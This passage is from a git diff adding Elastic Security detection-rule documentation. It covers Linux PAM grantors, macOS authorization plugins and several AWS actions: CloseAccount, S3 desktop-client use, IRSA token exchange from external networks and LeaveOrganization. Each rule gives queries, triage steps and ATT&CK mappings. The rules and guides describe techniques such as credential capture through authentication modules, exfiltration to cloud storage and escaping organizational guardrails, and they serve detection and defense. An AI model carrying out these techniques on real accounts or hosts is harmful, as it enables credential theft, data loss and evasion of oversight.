involved in the authentication event to determine if it is known or expected in your environment. +- Check the user account associated with the authentication event for any signs of compromise or unusual activity, such as recent changes in permissions or unexpected login times. +- Investigate the source IP address and hostname of the authentication event to verify if it is a recognized and authorized system within your network. +- Examine recent changes to the PAM configuration files on the affected host to identify any unauthorized modifications or additions. +- Correlate this event with other security alerts or logs from the same host or user to identify potential patterns of malicious activity. +- Consult with system administrators or relevant personnel to confirm if the use of the unusual PAM grantor was part of a legitimate change or update. + + +*False positive analysis* + + +- Custom PAM modules: Organizations may use custom PAM modules for specific applications or security policies. Review these modules to ensure they are legitimate and add them to an exception list if they are frequently triggering alerts. +- Administrative scripts: Some administrative scripts might use non-standard PAM grantors for automation purposes. Verify the scripts' legitimacy and consider excluding them from the rule if they are part of routine operations. +- Third-party software: Certain third-party software may install or use uncommon PAM grantors as part of their authentication process. Validate the software's authenticity and add its grantors to an exception list if they are known to be safe. +- Development environments: In development or testing environments, developers might experiment with different PAM configurations. Ensure these environments are properly isolated and consider excluding them from the rule to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review the PAM configuration files on the affected system to identify and revert any unauthorized changes to the grantors. Ensure only legitimate PAM modules are in use. +- Terminate any suspicious or unauthorized processes that may have been initiated by the attacker to maintain persistence or escalate privileges. +- Conduct a thorough review of user accounts and privileges on the affected system to identify any unauthorized changes or newly created accounts. Revoke any unauthorized access. +- Restore the affected system from a known good backup if unauthorized changes cannot be easily reverted or if the system's integrity is in question. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for PAM-related activities across the network to detect similar threats in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Setup + + + +*Setup* + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, no additional configuration is required. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:authenticated and event.outcome:success and +auditd.data.grantors:(* and not (pam_rootok or *pam_cap* or *pam_permit*)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-authorization-plugin-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-authorization-plugin-modification.asciidoc new file mode 100644 index 0000000000..ff884556c5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-authorization-plugin-modification.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-authorization-plugin-modification]] +=== Authorization Plugin Modification + +Authorization plugins are used to extend the authorization services API and implement mechanisms that are not natively supported by the OS, such as multi-factor authentication with third party software. Adversaries may abuse this feature to persist and/or collect clear text credentials as they traverse the registered plugins during user logon. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/documentation/security/authorization_plug-ins +* https://www.xorrior.com/persistent-credential-theft/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Authorization Plugin Modification* + + +Authorization plugins in macOS extend authentication capabilities, enabling features like third-party multi-factor authentication. Adversaries may exploit these plugins to maintain persistence or capture credentials by modifying or adding unauthorized plugins. The detection rule identifies suspicious modifications by monitoring changes in specific plugin directories, excluding known legitimate plugins and trusted processes, thus highlighting potential unauthorized activities. + + +*Possible investigation steps* + + +- Review the file path of the modified plugin to determine if it is located in the /Library/Security/SecurityAgentPlugins/ directory and verify if it is not among the known legitimate plugins like KandjiPassport.bundle or TeamViewerAuthPlugin.bundle. +- Examine the process name associated with the modification event to ensure it is not 'shove' with a trusted code signature, as these are excluded from the detection rule. +- Investigate the history of the modified plugin file to identify when it was created or last modified and by which user or process, to assess if the change aligns with expected administrative activities. +- Check for any recent user logon events that might correlate with the timing of the plugin modification to identify potential unauthorized access attempts. +- Analyze any associated network activity or connections from the host around the time of the modification to detect possible data exfiltration or communication with external command and control servers. +- Review system logs for any other suspicious activities or anomalies that occurred around the same time as the plugin modification to gather additional context on the potential threat. + + +*False positive analysis* + + +- Known legitimate plugins such as KandjiPassport.bundle and TeamViewerAuthPlugin.bundle may trigger alerts if they are updated or modified. Users can handle these by ensuring these plugins are included in the exclusion list within the detection rule. +- Trusted processes like those signed by a verified code signature, such as the process named 'shove', might be flagged if they interact with the plugin directories. Users should verify the code signature and add these processes to the trusted list to prevent false positives. +- System updates or legitimate software installations may cause temporary changes in the plugin directories. Users should monitor for these events and temporarily adjust the detection rule to exclude these known activities during the update period. +- Custom or in-house developed plugins that are not widely recognized may be flagged. Users should ensure these plugins are properly documented and added to the exclusion list if they are verified as safe and necessary for business operations. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further unauthorized access. +- Review and terminate any suspicious processes associated with unauthorized plugins, especially those not signed by a trusted code signature. +- Remove any unauthorized or suspicious plugins from the /Library/Security/SecurityAgentPlugins/ directory to eliminate persistence mechanisms. +- Conduct a thorough credential audit for any accounts that may have been compromised, and enforce a password reset for affected users. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar endpoints to detect any further unauthorized plugin modifications. +- Review and update security policies to ensure only authorized personnel can modify or add authorization plugins, and consider implementing stricter access controls. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like "/Library/Security/SecurityAgentPlugins/*" and + not file.path like ("/Library/Security/SecurityAgentPlugins/KandjiPassport.bundle/*", "/Library/Security/SecurityAgentPlugins/TeamViewerAuthPlugin.bundle/*") and + not process.name == "shove" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Authentication Package +** ID: T1547.002 +** Reference URL: https://attack.mitre.org/techniques/T1547/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-account-closed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-account-closed.asciidoc new file mode 100644 index 0000000000..8fe086bed0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-account-closed.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-aws-account-closed]] +=== AWS Account Closed + +Detects the closure of an AWS account via the CloseAccount API. This can be called either by the account itself (account.amazonaws.com, self-service closure) or by an AWS Organizations management account against one of its member accounts (organizations.amazonaws.com). Account closure triggers a 90-day grace period during which the account is suspended before permanent termination, and is one of the most destructive and disruptive actions available in AWS. It removes access to all resources and data in the account for the duration of the suspension. An adversary with root-level access in a member account, or management-level access to an organization, may close accounts to destroy evidence, disrupt business operations, or eliminate compute and data resources. A malicious insider could use the same action for sabotage. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/accounts/latest/reference/API_CloseAccount.html +* https://docs.aws.amazon.com/organizations/latest/APIReference/API_CloseAccount.html +* https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_close.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Account Closed* + + +AWS account closure is one of the most destructive actions that can be performed against an AWS account. Even during +the 90-day suspension/grace period before permanent termination, the account and its resources are inaccessible. This +action requires either root credentials on the account itself, or organization-management-level permissions to close +a member account, making any unauthorized occurrence a critical security incident. + +This rule covers both closure paths: self-service closure (`event.provider: account.amazonaws.com`) and closure of a +member account initiated from the organization's management account (`event.provider: organizations.amazonaws.com`). + + +*Possible investigation steps* + + +- **Identify the actor**: review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to + determine who initiated the closure, and from which account context (the closed account itself, or the + organization's management account). +- **Determine which account was closed**: check `cloud.account.id` and `aws.cloudtrail.request_parameters` (the + organization-initiated path includes the target `AccountId`). +- **Contact the account/organization owner immediately** to confirm intent — this should never be a surprise. +- **Act within the grace period**: AWS Organizations can cancel a pending closure during the up-to-90-day suspension + window if the action was unauthorized. +- **Review the actor's other activity** immediately before and after the closure for signs of broader compromise + (credential creation, privilege escalation, log tampering). + + +*False positive analysis* + + +- Legitimate account decommissioning or consolidation will show the same event. Confirm against change-management + records and organizational restructuring plans before escalating further. + + +*Response and remediation* + + +- Contact AWS Support immediately to attempt cancellation/restoration within the grace period. +- Revoke or rotate credentials for the identity that initiated the closure, and escalate to incident response. +- Preserve all available CloudTrail logs and evidence from the affected account before access is lost. +- Review organization-level permissions to ensure `organizations:CloseAccount` and `account:CloseAccount` are + restricted to a small, trusted set of administrative identities. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.action: "CloseAccount" + and event.outcome: "success" + and event.provider: ("account.amazonaws.com" or "organizations.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc new file mode 100644 index 0000000000..4465b82369 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-aws-api-activity-from-uncommon-s3-client-by-rare-user]] +=== AWS API Activity from Uncommon S3 Client by Rare User + +Identifies AWS API activity originating from uncommon desktop client applications based on the user agent string. This rule detects S3 Browser and Cyberduck, which are graphical S3 management tools that provide bulk upload/download capabilities. While legitimate, these tools are rarely used in enterprise environments and have been observed in use by threat actors for data exfiltration. Any activity from these clients should be validated against authorized data transfer workflows. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://s3browser.com/ +* https://cyberduck.io/ +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://attackevals.github.io/ael/enterprise/scattered_spider/emulation_plan/scattered_spider_scenario/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS S3 +* Tactic: Exfiltration +* Use Case: Threat Detection +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: AWS +* Service: AWS S3 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS API Activity from Uncommon S3 Client by Rare User* + + +S3 Browser and Cyberduck are graphical clients for Amazon S3 that allow users to browse, upload, download, and manage S3 objects. While legitimate tools, they are uncommonly used in enterprise environments where organizations typically standardize on AWS CLI, SDKs, or console access. The presence of these tools may indicate unauthorized data access or exfiltration activity. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that identifies the first time a specific user within an account makes API calls using S3 Browser or Cyberduck user agent strings. Threat actors have been observed using these tools for their intuitive interface and bulk data transfer capabilities during post-compromise data theft operations. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM principal was used. + - Check whether this principal normally accesses S3 and whether usage of these desktop clients is expected or authorized. + +- **Review accessed resources** + - Examine `aws.cloudtrail.resources.arn` to identify which S3 buckets and objects were accessed. + - Determine whether the accessed data is sensitive, confidential, or subject to data protection policies. + - Look for patterns indicating bulk downloads or systematic enumeration of bucket contents. + +- **Analyze the actions performed** + - Review `event.action` to understand what operations were performed (e.g., `GetObject`, `ListBucket`, `PutObject`). + - High volumes of `GetObject` calls may indicate data exfiltration. + - `PutObject` calls to external buckets could indicate data staging for exfiltration. + +- **Inspect source network context** + - Review `source.ip` and `source.geo` fields to determine the origin of the request. + - Check whether the IP belongs to corporate infrastructure, VPN, or an unexpected external location. + - External IPs combined with these desktop client tools are high-risk indicators. + +- **Correlate with surrounding activity** + - Search for additional CloudTrail events from the same access key or session. + - Look for preceding credential theft indicators such as `GetSecretValue`, `CreateAccessKey`, or console logins. + - Check for cross-account transfers or `CreateBucket` calls in external accounts. + + +*False positive analysis* + + +- **Authorized data migration or backup activities** may use these tools. Confirm with data engineering or IT teams. +- **Developer testing** in non-production environments may occasionally involve these clients. Validate the environment and data sensitivity. +- **Third-party integrations** using Cyberduck libraries may generate this user agent. Verify the automation context. + + +*Response and remediation* + + +- **If unauthorized**, immediately revoke or rotate the affected access keys and invalidate active sessions. +- **Assess data exposure** by reviewing which objects were accessed and determining if sensitive data was compromised. +- **Notify security operations** and initiate incident response procedures if exfiltration is confirmed. +- **Implement preventive controls** such as S3 bucket policies restricting access by user agent or requiring VPC endpoints. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and user_agent.original: (*S3 Browser* or *Cyberduck*) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-assumerolewithwebidentity-from-kubernetes-sa-and-external-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-assumerolewithwebidentity-from-kubernetes-sa-and-external-asn.asciidoc new file mode 100644 index 0000000000..03561af2e3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-assumerolewithwebidentity-from-kubernetes-sa-and-external-asn.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-aws-assumerolewithwebidentity-from-kubernetes-sa-and-external-asn]] +=== AWS AssumeRoleWithWebIdentity from Kubernetes SA and External ASN + +Detects successful `AssumeRoleWithWebIdentity` where the caller identity is a Kubernetes service account and the source autonomous system organization is present but not `Amazon.com, Inc.` EKS workloads that obtain IAM credentials via IAM Roles for Service Accounts (IRSA) normally reach STS from AWS-managed or AWS-associated networks; the same identity from a clearly external ASN can indicate a stolen or misused projected service-account token being exchanged for IAM credentials off-cluster. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html +* https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS STS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS AssumeRoleWithWebIdentity from Kubernetes SA and External ASN* + + +IRSA maps a Kubernetes service account to an IAM role via OIDC. CloudTrail records `AssumeRoleWithWebIdentity` with +`user.name` like `system:serviceaccount::`. If geolocation/ASN enrichment shows a non-Amazon source +organization while the identity is still a cluster service account, validate whether the token could have been used +outside the cluster (exfiltrated JWT, misrouted traffic, or operator tooling). + + +*Possible investigation steps* + + +- Confirm `event.action`, `event.provider`, and `event.outcome` for a successful STS assume. +- Review `user.name`, `aws.cloudtrail.user_identity.arn`, role trust (`aws.cloudtrail.resources`, request parameters for + `roleArn` / `roleSessionName`), and OIDC `sub` / `aud` if present in CloudTrail. +- Compare `source.ip`, `source.geo.*`, and `source.as.organization.name` to known cluster egress, NAT gateways, and + approved operator networks. +- In Kubernetes: map the service account to workloads and audit activity around the event time (exec, secret access, + new deployments). + + +*False positive analysis* + + +- Egress through third-party security stacks or multi-cloud connectors can change how ASN organization is attributed. +- Expand exclusions for known `source.as.organization.name` values used by your egress path. + + +*Response and remediation* + + +- If unauthorized: revoke the role session, rotate IRSA trust where appropriate, investigate token exposure, and reduce + service account and role permissions. + + +*Additional information* + + +- https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html[AssumeRoleWithWebIdentity] +- https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html[EKS IAM roles for service accounts] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and + event.provider:sts.amazonaws.com and + event.action:AssumeRoleWithWebIdentity and + event.outcome:success and user.name:(system\:serviceaccount\:* and not system\:serviceaccount\:kube-system\:aws-load-balancer-controller) and + source.as.organization.name:(* and not (Amazon* or AMAZON*)) and + not ( + user.id:( + *oic.prod-aks.azure.com* or + *container.googleapis.com* + ) and + source.as.organization.name:("Microsoft Corporation" or "Google LLC") +) and +not user.id:((*oidc.s3* and *ocp*) or (*s3* and *amazonaws.com* and *oidc*)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-attempt-to-leave-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-attempt-to-leave-organization.asciidoc new file mode 100644 index 0000000000..756057603f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-attempt-to-leave-organization.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-aws-attempt-to-leave-organization]] +=== AWS Attempt to Leave Organization + +Detects any attempt, successful or denied, for a member account to leave an AWS Organization via the LeaveOrganization API. Leaving an organization immediately strips the account of every Service Control Policy (SCP) guardrail the organization enforces, removes it from centralized CloudTrail aggregation, and eliminates the management account's ability to audit or control it going forward. An adversary who has gained root or organization-management-capable access in a member account may use this technique to escape organizational security controls and operate unmonitored. Denied attempts are included because a blocked call is just as strong a signal of intent as a successful one, and is often the only trace left when the account's default permissions correctly prevent the action. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/organizations/latest/APIReference/API_LeaveOrganization.html +* https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_remove.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.organizations-leave/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS Organizations +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Organizations + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Attempt to Leave Organization* + + +Leaving an AWS Organization removes every SCP-based guardrail from the account, cuts it off from centralized +monitoring (CloudTrail, GuardDuty, Security Hub aggregation at the organization level), and eliminates the management +account's ability to audit or control it. This is one of the most consequential defense-evasion actions available to +an adversary with sufficient access in a member account. + +This rule fires on any `LeaveOrganization` call regardless of outcome — a denied attempt (for example, `AccessDenied` +because the calling principal lacks the permission) is still a critical indicator that someone attempted this action. + + +*Possible investigation steps* + + +- **Identify the actor**: review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` — + only root or a principal with an explicit `organizations:LeaveOrganization` grant can succeed at this. +- **Check the outcome**: if `event.outcome` is `success`, treat this as an active, ongoing incident — the account has + already left the organization. If denied, determine why the attempt was made and whether the same actor has + broader access that could be escalated to succeed. +- **Review source context**: check `source.ip`, `user_agent.original`, and `source.geo` for anomalies. +- **Correlate with other defense evasion or persistence activity**: look for recent IAM changes (new roles, policy + attachments), root login events, or other attempts to shed organizational oversight around the same time. +- **Contact the account and organization owners immediately** to confirm whether this was an authorized, planned + departure. + + +*False positive analysis* + + +- Legitimate organizational restructuring (account divestiture, company split) can trigger this. Confirm with + organization administrators and require documented change management before treating as benign. + + +*Response and remediation* + + +- If successful and unauthorized, use `InviteAccountToOrganization` from the management account to re-invite the + departed account as soon as possible, and treat the account as compromised in the interim. +- If denied, investigate how the calling principal obtained enough access to attempt this at all, and whether it can + reach the required permission through another path (privilege escalation). +- Revoke or rotate credentials for the identity that made the call. +- Review the account's activity for the period immediately before and after the attempt for other compromise + indicators. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "organizations.amazonaws.com" + and event.action: "LeaveOrganization" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-backup-recovery-point-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-backup-recovery-point-deleted.asciidoc new file mode 100644 index 0000000000..e760f6ba0d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-backup-recovery-point-deleted.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-aws-backup-recovery-point-deleted]] +=== AWS Backup Recovery Point Deleted + +Identifies deletion of an AWS Backup recovery point via DeleteRecoveryPoint. A recovery point is a stored backup of a protected resource (EBS, RDS, DynamoDB, EFS, S3, and others). Deleting recovery points removes the ability to restore the associated data and is a core anti-recovery technique used in ransomware and data-destruction attacks to ensure victims cannot recover without paying or rebuilding. Routine lifecycle expirations are performed by the AWS Backup service itself; deletion by a non-service principal is rare and should be reviewed. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/aws-backup/latest/devguide/API_DeleteRecoveryPoint.html +* https://docs.aws.amazon.com/aws-backup/latest/devguide/vault-lock.html + +*Tags*: + +* Domain: 